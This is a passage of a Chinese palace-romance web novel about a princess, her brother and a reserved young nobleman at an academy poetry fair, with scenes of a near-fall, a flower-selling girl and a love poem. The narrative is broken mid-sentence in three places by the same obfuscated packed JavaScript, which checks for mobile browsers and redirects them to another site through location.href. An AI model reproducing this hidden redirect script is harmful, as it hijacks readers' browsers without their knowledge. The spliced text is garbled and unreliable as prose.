离书院还有半里地的时候,道路就已经围得个水泄不通。 季清清未雨绸缪,在全书院都在一轮帝姬要参加诗会的时候,已经预想到了有今日的盛况,邀着沈悠然在城内就汇合了。 只是她也没猜到竟会热闹成这样。 集英书院的人在通往书院的必经之路上每隔十余步就搭了木架,上面用麻绳间或串起了灯笼和学子们的诗词,灯火汇聚着将夜空都映成了橘色,微风吹拂着写满诗句的彩笺,翻飞之间好似带着墨香的彩蝶在起舞。 街道两侧的小贩吆喝着,也有闲来无事的人带着家中小孩儿前来凑热闹,原是想着让孩子们沾沾诗会的文学气息,谁料竟成了孩子们的游乐场。 孩童之间打闹追逐的笑声里夹杂着讨价还价的声音,和食物的香气交织着,视觉、听觉和嗅觉混作一团,却又描绘出一副充满烟火气的画卷。 那些曲高和寡的诗词好似也在这时落入尘间。 这简直就是平地冒出了个夜市来,从前上学路上也从未想过书院门口竟也有这样车水马龙的一天。 沈悠然在帘子里看得心动,忙叫停了车夫,拉着季清清就要下车。 今日为了方便,沈悠然穿了一身鹅黄色的褙子,里面是素色长裙。 乍一看像是普通姑娘家的打扮,但若是懂行的人仔细打量,就能发现虽是简便的装束,但衣衫上的暗纹也能瞧得见布料的做工非一般。 更别提她腰间还挂着蚕丝穗,在灯火的照耀下,隐隐有光泽流动着。 书院里有不少认识她的人,为了不让大家过多拘束,沈悠然特意带了面纱。 这是女子出行常有的装束,倒也不怕这么一挡欲盖弥彰。 本也不是正经为了参加诗会的,沈悠然这会儿玩心大发,也不急着去看什么斗诗了,拉着季清清悠闲地逛起了夜市来。 但季清清就没她那般有闲情逸致了。 她紧张地微微转头,以沈悠然作为遮掩,快速看了一眼身后的两人,神情有些紧张。 “帝姬,我们走在太子前面,是不是不太好啊……”她紧张地压低了声音,有几个字甚至有些失声。 堂堂太子沦为跟班,想必除了沈悠然,也没人能这般泰然自若。 沈悠然转过头看了眼哥哥,她也没强求季清清无视沈煦的存在,只是拍着胸口挑挑眉,“没事的,待会儿我有办法把哥哥支开。” 季清清不是很放心的样子,“就算太子殿下走了,那不还有一个……”冷面神吗? 后半句季清清没好意思说出口,但她觉得,有严晟跟着,似乎也没比太子殿下好多少。 对于太子的畏惧,大多是因其尊贵的身份,其实季清清也知道太子人如其名是个像春风般和煦的人。 但严太傅家的公子可就不一样了,他时常一副冷脸模样,谁在他面前都忍不住有些心虚,明明没有犯错却总是忍不住绞尽脑汁地想着最近有没有做什么事开罪于他。 不过季清清也觉得自己是担心过了头,谁都知道太子和严公子交好,若是帝姬有办法请走殿下,那严公子一定也会跟着走的。 “哦,你说严晟啊,没事的他人也不坏,你不用害怕他,就当他不存在好了。” 季清清双瞳微怔,帝姬这意思,难道是要说严晟会一直跟着她们? 对了,一定是殿下不放心帝姬一人在外,特意嘱托严公子帮忙“照顾”的。 想到这一点,季清清看向沈悠然的目光瞬间带了一丝同情。 “帝姬真可怜,哪怕出来玩也不能玩得痛快些,还要有人跟着。” 明白她这是误会了,沈悠然将季清清拉进,凑在她的耳边低语。 “你说严晟吗?不是的,我是故意叫上哥哥的,这样严晟肯定也会跟着来。” “你不觉得……他长得很好看吗?” 季清清像是听见了什么恐怖异闻一般瞪大了眼。 “帝姬你、你……” “你喜欢严公子?” 因为太过诧异,季清清的最后几个字甚至破了音。 沈悠然想了想,然后点了点头,又重复了一遍。 “你不觉得他长得很好看吗?” 都不用再回头看,季清清当然知道严晟的长相在她见过的人里面数一数二。 听她娘说过,严太傅年轻的时候就长得丰朗俊逸,严晟完全是青出于蓝而胜于蓝。 只是他性子太冷了,季清清都不敢跟他多说话,总觉得会得不到回应。 不过…… 季清清看了眼帝姬,又去看了眼严晟,虽然觉得严晟在性格上不适合帝姬,但至少两人的长相,简直就是天仙配。 她都不敢想如果真的走在一起会有多养眼。 她沉思了一息的时间,然后给了沈悠然一个肯定的眼神,“帝姬,我支持你。” “我是季清清,我支持严晟当驸马。” 沈悠然在旁边直乐,没看清旁边有两个小孩在玩官兵捉小偷的游戏,被撞得身形一歪,眼看着就要往旁边倒去。 她旁边是一个木架,若是就这样倒了,连带着用绳子系在一起的所有木架也会跟着倒塌。 旁边还有在炸油饼煮馄饨的小摊,炉子下的柴火红彤彤地烧得正旺。 沈悠然肉眼可见地有些慌乱,手在半空中挥舞着,想要找到一个能够支持的东西。 但这“夜市”都是临时的,又哪里有什么坚固的东西呢。 季清清回过神来伸出的手根本就来不及拽住沈悠然,眼见着她就要和旁边的木架来个亲密接触。 然后就落入一个怀抱里。 鼻腔里充斥着一股略带着熟悉的味道,淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704865|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡的薄荷香气将她包裹着。 跟那日在庄家后院的味道一样。 沈悠然有些恍惚,一时间也是分不清自己在书院前的小道上,还是在庄家后院里。 垂眸的时候似乎还能感受到那阵让她心安的凉意。 “昭懿帝姬,可有受伤?”严晟轻声问道。 沈悠然微愣,心道自己莫非是被美色糊了眼,觉得这声音也如此的悦耳。 她勾了勾嘴角,故意凑得更近,在他耳边低语,“多谢严公子搭手,自然是无恙。” 说完就连忙后退,蹲下身子拉住了那两个看见闯了祸在旁边瑟缩着抱成一团的小孩。 “你们的父母呢?这里这么多人,谁让你们在这里打闹的?” 小孩儿本就害怕,现在有人拉着不让他们走,更是害怕就这样会被官兵抓进大牢里面去,瞬间就哭出了声。 沈悠然也不去哄,就蹲在旁边看他俩。 随后两个妇人冲上前来,一人抱住一个孩子,不停地对着沈悠然求饶。 “贵人饶命、贵人饶命啊!小孩子不懂事,冲撞了贵人,还请贵人不要怪罪。” 其中的一个微胖的妇人是镇上绣坊里的绣娘,一眼就看出沈悠然的打扮不凡,她旁边的那个姑娘、身旁的那个男子、还有脚步匆匆赶来的另一个男子看起来也都不是什么贫穷之辈。 听闻书院里有个东院,就连皇家的子弟也在那读书呢。 她倒是没敢往帝姬太子那方面想,只觉得就算是一个普通的官家子弟,想要收拾他们这种平民百姓简直是易如反掌。 沈悠然起身,看着两个妇人,神情严肃。 “小孩子不懂,你们两个大人也不懂吗?” “明知这里人多事杂,旁边又都是些重物,你们不把孩子瞧好了还让他们在这里打闹,转头又全说是孩子不懂事的过错,是觉得你们一点责任都没有吗?” 高个女子听见沈悠然语气急促的斥责,瞧着路人看热闹的目光,觉得自己被一个小姑娘教训了面子上有些挂不住,当下就要反驳,却被旁边的妇人拉住了。 “民妇知错了、民妇知错了。”微胖女子连声认罪。 沈悠然本就没打算计较,付钱在旁边的小摊上买了两块花糕递给两个小孩。 “吃了本……我的糕,可得答应我,不许再乱跑了,听到没有!” 她故作威严,但小孩子都被花糕吸引着,忙不迭地应声。 沈悠然这才放他们离开。 季清清凑上前,拉着沈悠然看了又看,“太好了帝姬你没事,我魂都快吓掉了。” 沈悠然拍了拍季清清的背,安慰着自己无碍,让她不用担心了。 但季清清还是觉得后怕,连忙将沈悠然护在内侧,免得她在被其他人冲撞到。 沈煦站在身后,刚才危机的时候也没抢得过严晟,现在又让季清清抢先了,一时之间好像哪都用不上他。 但沈煦也不觉得失落,反而带着一脸欣慰的笑,一只手搭严晟的肩上。 “我们家昭懿,训起人来有理有据,也是有一副帝姬的模样。” 严晟不语,只是低头笑笑,灯火的光影替他遮掩着从方才起就一直泛红的耳廓。 训人的模样吗? 他早就见过了。 19. 第 19 章 这么一段小插曲过后,四人倒是没有再过多闲逛,径直往书院走去。 刚一踏进书院的大门,沈悠然就看见了熟悉的身影,开始挤眉弄眼,说话的调子也怪怪的。 “哎呀,前面那个人看着好眼熟啊,是谁呢?我怎么猜不出来呀?” 沈煦原是以为沈悠然是想要捉弄谁,谁料一抬头,倒是把自己看呆了。 等回过神来的时候,人已经走到了面前。 “朝暮,你怎么在这?” 之前两人倒是还能隔着房门说几句话,现在越是大婚将近,蔺家的规矩也就越严。 算算沈煦上一次跟心上人说话,还是之前从蔺家路过送糕点的时候。 感受到沈悠然打趣的目光,还有沈煦的灼热视线,蔺朝暮脸色微红,小声回话。 “回太子殿下,皇后娘娘听闻今日集英书院办诗会,便觉这是利于学子们交流进步的好事,特让人来送些彩头。” 然后,她又以更小的声音补充了一句,“原是想让帝姬带来的,但帝姬说与同窗约好了,不便再送礼,皇后娘娘这才找了我。” 这下,在场的还有谁不明白,这不过就是沈悠然的小计谋。 既能让饱受相思之苦的哥嫂见上一面,又能如愿地支开哥哥,这种一石二鸟的好法子,当真精妙。 季清清都要忍不住给沈悠然鼓掌了。 被这么多人打趣着,蔺朝暮有些羞怯,说着任务已经完成了,这便要归家去了。 沈悠然一听,连忙叫住了她。 “别啊嫂……蔺姐姐,”到底人多,她还是念着不能给人留下话柄,“母后既然派蔺姐姐来送礼,想必也是心系诗会只是不便前来。” “蔺姐姐合该留下,替母后看看,也好回去复命才是。” 话是这个理,但或许是被调侃得太多次了,蔺朝暮总觉得沈悠然说出来,总是让她觉得话里有话。 她下意识地就想要反驳,“可是……” 沈悠然看不惯她们这样明明两个人都心动却又碍于礼法不敢正视内心的举动,上前推着蔺朝暮出了门。 “快去吧蔺姐姐,今日外面可热闹了,快去看看咱们大盛朝国泰民安的场面,然后回去好好说给母后听。” 等把人送了出去,才又转过头去看自己的哥哥。 “哎呀,我忘记了呢,今日外头人多又挤,哥哥还是去帮我照顾一下蔺姐姐吧,没得像刚才一样再磕着绊着了才不好,人家蔺姐姐可是替咱们母后出来办事的呢。” 沈煦原是有些踌躇,但一想到方才沈悠然差点摔倒,真就多了几分担忧,朝严晟点了个头之后就跟了出去。 沈悠然看见兄长和严晟的小动作,得意地给季清清使了个眼神。 就没有能难倒她的事。 以她对哥哥的了解,所以也很想跟蔺姐姐独处,但绝对不会因为这个原因抛下她的,到时候肯定会拜托信得过的人帮忙照看。 这个人当然就是严晟了。 目睹了全程的季清清投来了羡慕的目光,同时又非常识趣地跟帝姬表示自己会找个借口溜走的。 “帝姬,听闻朱雀桥那边新开了家食肆……”她努力暗示。 季清清好吃,但她娘总怕她控制不了口腹之欲吃成个大胖子,平日里也是多有拘束。 但如果是帝姬请她吃饭就不一样了,她娘喜欢帝姬,也喜欢赵皇后,对于和帝姬多多来往一事很是支持。 反正季清清本来就不在意什么诗会,只是想着能出来玩儿,如果能再吃点喜欢的东西,那就更好了。 于是,严晟冷眼看着季清清夸张地在全身上下寻摸着,然后又毫不担忧地说着自己荷包丢了要回去找。 这表演,若是在戏班子里,铁定会被班主赶出去。 严晟看着笑得一脸灿烂的沈悠然,只觉得好笑。 自己就这么值得她费心思吗?他想。 * 挂着诗词的木架一直从门外延伸到了书院的后院。 虽然沈悠然记不得书院里每个人的脸,但她猜测,这里还有其他书院的学子在场。 否则人这么多,集英书院的食属早就该扩建了。 沈悠然不擅作诗,但基础的品鉴能力还是有的。 挂在绳子上的诗里写什么的都有,有春花秋月,也有借月思乡,有踌躇满志,也有春风得意。 当然最多的,还是赞颂盛兴帝仁慈的诗词。 沈悠然毫不怀疑,这其中有些,一定是在听到说自己要来才特意准备的。 这一类的诗词,沈悠然一概不看。 她连父皇一把年纪了私底下喝药还要吃蜜饯这种事都知道,实在是没有必要再去从别人的口中了解自己的父皇是什么样。 随意翻之时,沈悠然突然被一张纸笺吸引了目光。 特别是上面写着的最后两句——“朱门笙歌响,白雪骨肉葬。” 这带有讽刺意味的诗句,在一众夸赞之间显得格外引人注意。 看到这样的诗,沈悠然觉得意外。 她虽是在深宫中长大,但也不是除了吃喝玩乐和打扮自己之外什么都不懂的小姑娘。 大盛朝历史悠久,沈悠然也不知道往上数几百年才能追溯到第一任皇帝是谁。 在百年之前,大盛曾遭遇过一次几乎灭顶的天灾。 传闻那时整个皇室里只剩下了一位公主,眼见着大盛即将覆亡,却有九天之上的神仙相助,大盛在风雨飘摇之中巍然不倒。 自那以后,大家都说,大盛的皇室有神仙庇佑,沈家的皇位是天道的旨意。 巩固的皇权从未更迭过,但这也带来了弊端——皇亲国戚太多,公主郡主们的夫家、后妃王妃们的母家、裙带关系下产生了不少的贵族富绅。 有钱有权的人想要继续积累财富总是比普通人来的容易的,渐渐地,富的人也就越来越富,穷的人,依旧是那样穷。 沈悠然知道这些,是从帝后的闲谈里听到的。 盛兴帝不是那种把赵皇后当做附庸的自大男子,二人从少年夫妻走到现在,早就习惯了在私下互相分享彼此的心事。 他虽在朝堂之上,更是见过贵族的奢靡与百姓的穷苦,原也是想要“劫富济贫”的,但贵族之间的关系盘根错节,一时之间也没能想到一个特别好的由头。 拿谁开刀?怎么开刀?都是要细细斟酌的。 前几年的盛夏,树上的蝉鸣都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711299|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比以往的每一个夏日都要沉闷,趴在枝干上有气无力地叫着。 夏蝉况且如此,更别提那些庄稼了。 各地的旱灾折纸如雪花般涌向宣阳城,盛兴帝当即下令开国库赈灾,但这个时候最缺的不是银子,是粮食。 旱灾导致粮价疯涨,且不论国库不丰根本不足以救济各地的灾民,现下捧着钱怕是也换不了多少的米粮。 盛兴帝无奈之下只得下令让各地贵族富绅开仓放粮,若是有人不从,也可以使用强硬手段。 那年的旱灾倒是顺利度过了,不过这场不情不愿的捐粮活动,也因此引发了皇家和贵族们的不满。 盛兴帝深谙过犹不及的道理,也没在这怨气漫天的节骨眼再提削弱贵族势力的打算。 但也就因为这场旱灾,让有些贵族觉得自己是那些灾民的“救命恩人”,干出不少强迫灾民们为奴为婢的丑事来。 那些做得过了份的惩处了几个,但谁都明白,宣阳城内尚且是在皇权镇压下太平了,不见得那些天高皇帝远的地方又有人管。 沈悠然看着纸笺,不禁发出感慨,“这人……胆子倒是挺大的。” 严晟为她的反应感到意外,“这样大胆妄为的诗,昭懿帝姬看了难道不觉得恼怒吗?” 循着他的声音转过去,灯火落在严晟的身后,晃了沈悠然的眼。 她下意识地向前两步,拉近了两人的距离。 严晟只觉得空气中有一阵说不出来的香气,从鼻尖一路往上,直达天灵盖。 他应该要往后退的,但他觉得脚步很沉,这步子也不大迈得开。 “我要恼怒什么?” “这人骂的是朱门,又不是宫门。” “况且,本来就是那些贵族的错,总不能还不让别人写诗骂两句吧?” “如果是我,还觉得只是写首诗来太过便宜那些人呢,这字又不是刀枪剑戟,怕是连层皮肉都伤不了,定要让他们流点血才好。” 沈悠然说到兴头上,突然恍悟过来,站在她面前的是严晟。 这样满口刀剑啊血流的,会不会让他觉得自己是什么以折磨人为乐的变态啊? “不是,我的意思是……”她下意识地想要解释一下,但又觉得自己说的话没有任何问题,不该遮掩。 “我的意思是,就是他们活该。” 沈悠然坦坦荡荡,目光清澈得比天上的明月还要耀眼。 “他们生来就已经比别人容易很多了,无论是生活还是仕途,占尽便利却不想着如何让百姓们也过上富足的生活,却是想要不断地敛财、欺压来巩固自己的特权,这样的人,被这样不指名不道姓地骂上两句,真的是太便宜他们了。” 风起,吹得沈悠然的面纱荡起阵阵涟漪,在风中打了个转又勾上了耳边的绳结。 沈悠然埋着头想要整理,但却看不完全,伸手想要取下面纱。 但严晟的动作比她更快,带着凉意的指尖从耳畔拂过,沈悠然觉得浑身发麻,下意识地瑟缩着。 严晟没有说什么,只是指尖勾着细绳绕了个圈,紧接着沈悠然就感觉到轻软的面纱又重新覆上了自己的下半张脸。 “是,昭懿帝姬说的是。”严晟道。 20. 第 20 章 沈悠然猜测自己有些脸红,因为她感受到了阵阵热意,但她不会承认。 “前面……前面还有很多呢,我们再看看、再看看。” 她突然有些不敢和严晟并肩。 严晟比她高出半个头,站在身侧只要微微转过脸来,就能俯视她。 她不想暴露被面纱掩盖住心思,只得快步走在前面。 严晟只好垂下了手,跟在沈悠然身后,像个护卫。 又往前走了几步,来到了集英书院后院的梧桐树下。 据悉这是创办集英书院的那位老宰相在妻子去世那一年种下的,距今多少个年头早已数不清了,只如今这幅参天的样貌,昭示着它曾旁听过多少年的岁月。 沈悠然抬头,大概是梧桐树的枝丫多,觉得挂在树枝上的彩笺都比其余地方的多。 纸笺上的诗词在微风中飘拂着,沈悠然忽然觉得闻到了一阵香气。 像是栀子花的味道,但是太过甜腻,应当不是新鲜的花香,是香铺里做出来的花露。 好端端的,谁还把花露带到诗会来? 沈悠然循着味道四处张望着,发现了一个蜷缩在树下的小姑娘,她的脚边还放着一个篮子。 小姑娘看起来八九岁的年纪,身材瘦小,目光躲闪。 “小姑娘,你怎么在这?”沈悠然半蹲下身子,裙摆自然地落下。 微微泛着荧光的纱裙遮住了小姑娘沾着灰的布鞋,她紧张地往后一缩,连忙求饶。 “贵人饶命,贵人饶命!我不是故意的,不是故意弄脏贵人的衣裳。” “我只是、只是听闻今日书院人多,我就悄悄溜进来了,只是想卖点花赚点钱。” “不然、不然我把这篮子花赔给贵人吧!” 沈悠然低头看了眼篮子,里面装的是纸花,兴许是为了更能吸引人的注意,撒了栀子花气味的花露。 沈悠然抬手,正想要拿起她卖的纸花,就听见严晟开了口。 “这些花我都要了。” 小姑娘看见从天而降的银子,先是欣喜地跟严晟道谢,然后又犯了难。 “公子,我、我……这钱太多了,我没有银钱能找您。” 一朵纸花顶天了不过三文钱,她这一篮子,哪里需要银子来付。 小姑娘怕好不容易来的大主顾就这么走掉了,连忙起身想要出去找人帮忙。 严晟对她摆了摆手,“不用了。” “除了纸花,还有一件事要让你做。” “你去书院外的小道,见人就发,就说凡是来看诗会的,都能得一朵纸花。” “多出来的银子,就当是你的辛苦费了。” 小姑娘一听,脸上的笑容都止不住了。 “谢谢贵人,谢谢贵人!” 直到看见小姑娘难以掩饰欣喜地身影消失在院门,沈悠然才笑着打趣。 “哦!” “我们严公子,不光聪慧,还是菩萨心肠呢。” 她习惯了跟季清清打闹,二人常说“我们帝姬”“我们清清”,一时之间也就没能改过来。 倒是严晟听着,挑了挑眉,“我们严公子?” 沈悠然一顿,这才回味过来。 她跟严晟非亲非故的,哪里称得上是“我们”。 看着她顿时没了刚刚那副得意模样,反倒是严晟脸上漾着笑意,但很快又被他压了下去。 “昭懿帝姬何出此言?” 沈悠然清了清嗓子,摇头晃脑地说着自己的分析。 “严公子故意找了个由头让那小姑娘散花,不过是怕她收了你的银子心有不安,特意让她觉得那银子里还有她的劳力是吧?” “而且那小姑娘溜进来卖花却只是蜷缩在此处不去叫卖,定是曾被人呵斥过的,但又舍不得书院里人多,这才没出去。严公子让她去书院外,也是怕她书院里再招惹上那些不让她逗留在此的人。” 今日诗会,书院内虽是没有再禁止外人出入,但那些文人学子,又或是贵族子弟,通常都自视清高,看不起从商的人。 再加上又是个瘦弱的小姑娘,太容易被人欺负了。 想到这里,沈悠然又忍不住看了一眼严晟。 因为对他感兴趣,所以让青黛帮忙去打听了一下外人口中的严晟。 都说严太傅的独子样貌顶尖,就是浑身上下都透露出一股拒人千里的冷漠,从未在他脸上看到过笑意,孤身一人站着的时候像是一座峭壁,周围的所有人都跟他有边界。 就连穿的衣衫,也大多都是让人觉得深沉的颜色。 所以才会顶着那样一张脸,在“宣阳女子最想嫁的男人比选大赛”中输给沈煦。 但沈悠然觉得,他好似并没有传闻中的那么冷漠。 至少现在就是的。 沈悠然觉得没由来地觉得有些开心,她好像看见了其他人没见过的严晟呢。 有一点菩萨心肠的严晟。 * 周遭的人群忽然开始疾走,沈悠然感到好奇,伸手随意拦了个学子。 “你们这是要去哪?” 那学子转过头来,看见是个蒙着脸的小娘子,但从露出来的眉眼间还是能瞧见几分姝色。 他一时愣了神,想要凑近两步却打了个嗝,泛起阵阵酒气。 沈悠然下意识的蹙眉,然后就感受到有人从她面前一晃而过。 严晟侧过身子拦在了男子和沈悠然的面前,不动神色地替她挡住了男子放肆的视线。 “前面发生了什么事?”他问道。 微醺男子看见面前这个比自己高出了不少的男人,语气有些不悦,但还是老实回答了严晟的问题。 “思安先生正在和人斗诗呢!” “真是没想到啊,还能在这看见思安先生的佳作,听闻还是以一敌百呢!” 思安先生? 沈悠然觉得有些熟悉,但又想不起来是在哪听过这个名号。 不像是书院里的学子,应当是书院里请来压阵的学者。 她下意识地就凑近了严晟的耳旁,“思安先生是谁啊?” “谁言天下无战火,思安必引风雨乱。” 原来是他…… 沈悠然听过这人的名号,他曾是先帝时期的最后一位进士,曾是考官们心中最有可能夺得魁首的人选。 也是第一位在殿试上被关进大牢的进士。 皆因他在大殿上作出的那首《思安赋》让先帝龙颜大怒,斥责他是在诅咒大盛。 后来先帝病重,也无人再有心思去顾及一个被关进了牢里的进士, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716136|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等到再有人提及此事时,已经是盛兴帝即位的第二年春天了。 后面的事情,沈悠然也不清楚了,只是听闻他出狱后便开始游历山川,再归来时,已不是那位在大殿上慷慨激昂的进士先生了。 沈悠然对这个思安先生好奇地紧,忙拽着严晟的袖口混进人群里,一路来到了前院搭起来的戏台上。 戏台下方已经围了不少的人,但有不少的人还是认识这位时常伴在太子身边的严公子,自发地让出位置来。 沈悠然戳了戳他的腰侧,示意他低下头来。 “真是沾了你的光哦。”她小声嘀咕着。 严晟颇感无奈,压低了声音,“昭懿帝姬若是亮出身份,怕是坐在院长位置的,就该是您了。” 沈悠然撇撇嘴,她不喜欢听严晟说“您”,总让她觉得自己很老似的,遂不愿搭话。 她可不想坐在台上去呢,还得端着帝姬的身份,一点都不好玩。 前面有两个学子正在激动地讨论着思安先生,恰巧挡住了沈悠然的视线。 她只好踮起了脚尖,但这样似乎还有些不够,便拽着严晟的袖口往上蹦跶着。 只是这样终归是不够,严晟四处看了一眼,让她在原地等着,然后就钻进了人群。 等再回到沈悠然身边的时候,双手捧着不知道从哪里来的垫脚石,扔在脚下,示意沈悠然踩上去。 垫脚石有些光滑,严晟便让沈悠然握着他的手上去,然后反手将手搭在了右肩上。 “这样能看见吗?”严晟问道。 沈悠然喜滋滋地看着前方,清楚,特别清楚,特别是手搭在严晟肩上的时候,更清楚了。 对于思安先生该是什么模样,沈悠然脑子里有过猜测。 一开始她觉得对方应该是抚着胡子出口成章的仙风道骨形象,后面又想着,在春风得意的时候惨遭牢狱之灾,或许又该是一副眉眼里藏着忧伤的失魂落魄。 但没有想过对方看起来就如同普通中年人一般,乐呵呵地看着站在对面的学子。 “不着急,慢慢来。”他笑着宽慰因为紧张而涨红了脸的学子。 斗诗的规则是要在一炷香的时间里作出符合要求的诗,那学子挣扎了半晌,随后认命般地叹了口气。 “学生才识浅薄,不及先生也。” 思安先生拍着肩安慰他,“不必妄自菲薄,我不过是仗着多吃了几年的饭,又比你多走了几年的路罢了,假以时日你一定能比我做得更好。” 那学生感激地朝着思安先生作了个揖,虽是斗诗输掉了,但却没在他的脸上看见什么懊恼沮丧,倒是神情有些激动。 沈悠然忍不住评价,“这个思安先生,人还怪好的呢。” 又不是什么背地里说人闲话,沈悠然没有刻意压低声音,也就被旁边的人听见了。 “思安先生当然是个大好人呢,这些年他游历山川所写的游记,全都誊抄了一份送与各大书院供学子们开阔眼界,不收一分回报。” “今日诗会原是学子们之间的较量,是大家伙儿仰慕先生才华,先生推脱不过才下场,既不为名也不求利,若是斗诗输掉了,还能得先生举荐向各大家讨教呢。” 沈悠然咋舌,遭如此不公命运还能善以待人,此人,倒真是一副好胸襟。 21. 第 21 章 既是学生们表现的机会,思安先生也没占用过多的时间,推说着年纪大了精神不济,又重回了自己的座位。 沈悠然还沉浸于他诗中描绘的那些山川盛景,一时之间也未曾留意沈煦不知道什么时候站在了自己的身后。 和蔺朝暮的共处虽说是事出有因,但沈煦还是担忧旁人口中“新婚之前见面不吉利”的说法,同心爱之人沿着书院外走了一圈后,就吩咐人将蔺朝暮送走了。 总归还有不足半月就是大婚庆典,沈煦也不急于这一时。 再回到书院寻人的时候,就听旁人口中说到思安先生在此,便来到此处,倒是遇见了好友和妹妹。 不过他来的不是时候,此时人群渐散,斗诗台上的人也换了。 沈悠然看见沈煦,直接从石头上蹦跶下来,双手在空中比划着同他绘声绘色地讲述着方才思安先生的诗词。 譬如“浩荡碧落倾”的瀑布,又譬如“孤舟没云烟”的江河,再譬如“九曲荡回肠”的河流。 光是听着这些诗词,就让人心向往之。 沈煦顿时起了结交之心,他虽是太子,但从出生之后就未出过宣阳城,他也想要去看看外面的风光。 但今日不合适,今日人多嘴杂,他又不想因自己的举措给思安先生带来烦扰。 往后再寻个日子罢了。 “可玩得尽了兴?”沈煦问道。 沈悠然才不搭话呢,好不容易出来玩一趟,怎么会尽兴。 也不管那两人,沈悠然佯装未曾听见,朝着廊下走去。 就连院舍之间的长廊上,都零零散散挂着彩笺呢。 只不过这里不比院中宽阔,若是挂得太过密集,恐遮了视线。 这样一来,反倒是让这些诗词,更容易被人们看到。 沈悠然随意地一抬头,发现顶上挂着一张系着花结的彩笺。 上面的诗名为神女赋,化用的是一名帝王夜梦神女的典故,这在写缠绵悱恻的情爱诗句里,不算少见。 可偏偏,这诗的最后一句,写着“朝朝皆为伊”。 朝、伊。 昭、懿。 若是其他的诗词倒不会让人这般多想,只唯独这句诗与前几句平仄都压不上的诗句,读起来有些拗口,像是生搬硬套放上去的。 沈煦也注意到了。 “阿晟,你瞧,这有人打着我们家昭懿的注意呢,”沈煦气急反笑,“若真是有意,何不大大方方站出来,背后写这些酸诗就想骗走我们家的昭懿?” 严晟低头看了眼诗,又去寻沈悠然的身影。 她或许是并未察觉出有什么,已然蹦跶着站在廊下看灯。 那灯沿上有只不知道如何做出来的蝴蝶,被灯火映照着,隐约好似泛着光。 认识沈煦的人多,连带着虽然是戴着面纱,旁人也猜到了和他同行的沈悠然的身份。 有些人聚在一起窃窃私语,还有人仗着家世也不差,大着胆子上前同沈悠然问安。 沈悠然其实不大喜欢这样被人打扰,神情淡淡地颔首回应,一副不愿过多交谈的模样。 平常百姓,又或者说一些低阶小官家的子弟,平日里见贵人一面难如登天,好不容易有这种机会了,可不就是想着法子钻营。 万一被贵人看上眼了,兴许能少走很多弯路。 但大多都是问个安报上自己的名号就罢了,谁也没想到竟真的有人大着胆子拦住了昭懿帝姬的去路。 那人手捏着一封信笺,看起来很是用力,就连站在一旁台阶上的严晟都能看得清他略微发白的指尖。 面容不太熟悉,也不知是新入书院的学子,还是西院那边的人。 男子约莫十八九岁的模样,打扮青涩,目光躲闪着不太敢直视沈悠然的眼睛。 就这样一副怯生生模样的人,竟然有胆量做出拦人这种事,倒叫沈悠然没了第一时间叫人来护卫的冲动,而是退了半步歪过头看他,想要看看他打算做什么。 “帝、帝姬……”男子微微弓着身子,递出手里的信笺,“我、在下……在下名叫乔成济,这是、这是我……” 他嚅嗫着说不完一整句,沈悠然在旁边眼睁睁的看着他全身的血色从露在衣领外的脖颈处,一步步地蜿蜒攀上两颊。 她觉得煞是惊讶,从未见过如此容易害羞的人,像是变戏法一样整张脸都红透了,一时好奇也没转身离去,就这么和那人对视着。 突然和她的目光对上,乔成济捏着信笺的手一抖,本就结结巴巴的,这下更是一个字都说不出来了。 旁边有人看着他扭捏的模样,一面懊恼着自己怎么没想过这样搏一搏,一面又对真正做出了这样事的乔成济感到不耐烦。 “想让帝姬帮你鉴赏一下诗作是吧?怕什么啊大胆说出来!帝姬又不是什么吃人的老虎,不会把你怎么样的。”有人酸溜溜地叫嚷着。 因为想要借机在帝姬面前露脸的人太多了,早在诗会开始之前,就有人暗地里往她的书桌里塞信纸。 就期盼着帝姬能看见,从而在太子或者盛兴帝面前夸赞一句,从此平步青云。 但是这样到底还是功利了些,大家都悄摸着做,像乔成济这般直接来露脸的,还从未有过。 沈悠然不想鉴赏什么诗词,就她那点水准,别是耽误了人家才好。 “那边的斗诗台还未散,公子的才华,不若登台让大家伙儿见识见识才好。” 乔成济红着脸,说话依旧是吞吞吐吐的,“不、不是……我……” 他旁边站着一个人,似乎是看不下去他这副扭捏作态,一把扯过他的信笺,就着皱巴的封口处三两下就拆开了。 大声的朗诵在念到“朝朝皆为伊”的时候骤然停顿。 周围的人开始了窃窃私语。 “这好像是封情诗诶……” 沈悠然虽然不爱听酸诗,但不代表她听不出来。 周围人的目光看向她的时候,沈悠然只觉尴尬。 “本宫……”她想不到什么好的说辞,只觉棘手。 乔成济见自己的心事被公之于众,索性咬了咬牙,一鼓作气。 “在下 